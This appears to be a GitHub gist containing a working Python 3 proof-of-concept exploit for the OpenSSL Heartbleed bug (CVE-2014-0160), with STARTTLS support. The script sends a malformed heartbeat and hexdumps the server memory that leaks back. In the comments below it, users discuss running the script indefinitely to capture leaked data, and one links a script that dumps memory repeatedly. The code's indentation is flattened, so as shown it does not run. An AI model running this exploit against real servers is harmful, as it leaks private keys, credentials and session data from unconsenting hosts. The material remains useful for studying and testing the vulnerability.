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OpenSSL heartbeat PoC with STARTTLS support - Python3 version
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
import codecs
from optparse import OptionParser
decode_hex = codecs.getdecoder('hex_codec')
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS')
options.add_option('-d', '--debug', action='store_true', default=False, help='Enable debug output')
def h2bin(x):
return decode_hex(x.replace(' ', '').replace('\n', ''))[0]
hello = h2bin('''
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
for b in range(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ' '.join('%02X' % c for c in lin)
pdat = ''.join(chr(c) if 32 <= c <= 126 else '.' for c in lin)
print( ' %04x: %-48s %s' % (b, hxdat, pdat))
print()
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = b''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select([s], [], [], 5)
if s in r:
data = s.recv(remain)
# EOF?
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def recvmsg(s):
hdr = recvall(s, 5)
if hdr is None:
print( 'Unexpected EOF receiving record header - server closed connection')
return None, None, None
typ, ver, ln = struct.unpack('>BHH', hdr)
pay = recvall(s, ln, 10)
if pay is None:
print( 'Unexpected EOF receiving record payload - server closed connection')
return None, None, None
print( ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
return typ, ver, pay
def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print( 'No heartbeat response received, server likely not vulnerable')
return False
if typ == 24:
print( 'Received heartbeat response:')
hexdump(pay)
if len(pay) > 3:
print( 'WARNING: server returned more data than it should - server is vulnerable!')
else:
print( 'Server processed malformed heartbeat, but did not return any extra data.')
return True
if typ == 21:
print( 'Received alert:')
hexdump(pay)
print( 'Server returned error, likely not vulnerable')
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print( 'Connecting...')
sys.stdout.flush()
s.connect((args[0], opts.port))
if opts.starttls:
re = s.recv(4096)
if opts.debug: print( re)
s.send(b'ehlo starttlstest\n')
re = s.recv(1024)
if opts.debug: print( re)
if not b'STARTTLS' in re:
if opts.debug: print( re)
print( 'STARTTLS not supported...')
sys.exit(0)
s.send(b'starttls\n')
re = s.recv(1024)
print( 'Sending Client Hello...')
sys.stdout.flush()
s.send(hello)
print( 'Waiting for Server Hello...')
sys.stdout.flush()
while True:
typ, ver, pay = recvmsg(s)
if typ == None:
print( 'Server closed connection without sending Server Hello.')
return
# Look for server hello done message.
if typ == 22 and pay[0] == 0x0E:
break
print( 'Sending heartbeat request...')
sys.stdout.flush()
s.send(hb)
hit_hb(s)
if __name__ == '__main__':
main()
@hayyan
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hayyan commented Apr 9, 2014

Can you run this for infinite time for capturing data?

@dyatlov
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dyatlov commented Apr 9, 2014

yes, but lots of time it will be the same data, so need to filter it.

@danhunsaker
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If you enable STARTTLS mode, Python crashes with TypeError: 'str' does not support the buffer interface - you need to either run bytes(string, "utf-8") or string.encode("utf-8") on the offending lines (123, 126, and 130), like so:

        s.send('ehlo starttlstest\n'.encode("utf-8"))
        if not 'STARTTLS'.encode("utf-8") in re:
        s.send('starttls\n'.encode("utf-8"))

String values and binary values don't mix well.

@dyatlov
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dyatlov commented Apr 9, 2014

@danhunsaker it is shorter to just prefix those lines with b:

s.send(b'ehlo starttlstest\n')

if not b'STARTTLS' in re:

s.send(b'starttls\n')

Updated the gist

@danhunsaker
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Not an option I had discovered. Will update locally accordingly.

STARTTLS support is rather ... stupid. It should check the protocol (by checking the initial server message) and send a feature detection/TLS start command accordingly. Issue upstream as well, of course.

@danhunsaker
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Or alternately the approach adapted from the OpenSSL binary, provided here, properly updated for python 3, of course. Prefer more automated approaches, myself, whenever possible.

@pqrth
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pqrth commented Apr 10, 2014

Quick and dirty batch script to dump Heartbleed memory leak at regular interval using this script.
https://gist.github.com/partp/10377512

@niravzaveri
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I am getting the error as follows:

bleeding...
File "\Path\hb-test.py", line 51
pdat = ''.join(chr(c) if 32 <= c <= 126 else '.' for c in lin)
Syntax Error: invalid syntax

(indicating the error at 'if' part in the line).

What would be the issue and how to resolve the same?

Thanks

@King68
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King68 commented Apr 14, 2014

Hi i am getting following error msg. when executing query, can you look at it and say what could be a problem?

File "main.py", line 21
return decode_hex(x.replace(' ', '').replace('\n', ''))[0]
^
IndentationError: expected an indented block

@King68
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King68 commented Apr 14, 2014

Sorry for my stupid question but can you please explain me how all of its works, i am definately maling some logic error in process. I am running script under Python 3x, through CMD line C:/python34/python.exe test.py
where i have to identify server to scan? where i have to identify port to scan?

@PolymathMark
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I am getting this error:

Python 3.3.3 (v3.3.3:c3896275c0f6, Nov 18 2013, 21:19:30) [MSC v.1600 64 bit (AMD64)] on win32
Type "copyright", "credits" or "license()" for more information.

================================ RESTART ================================

Traceback (most recent call last):
File "C:\Users\mdupreez\Desktop\Heartbleed.py", line 39, in
''')
File "C:\Users\mdupreez\Desktop\Heartbleed.py", line 21, in h2bin
return decode_hex(x.replace(' ', '').replace('\n', ''))[0]
File "C:\Python33\lib\encodings\hex_codec.py", line 20, in hex_decode
return (binascii.a2b_hex(input), len(input))
binascii.Error: Non-hexadecimal digit found

Can anyone help?

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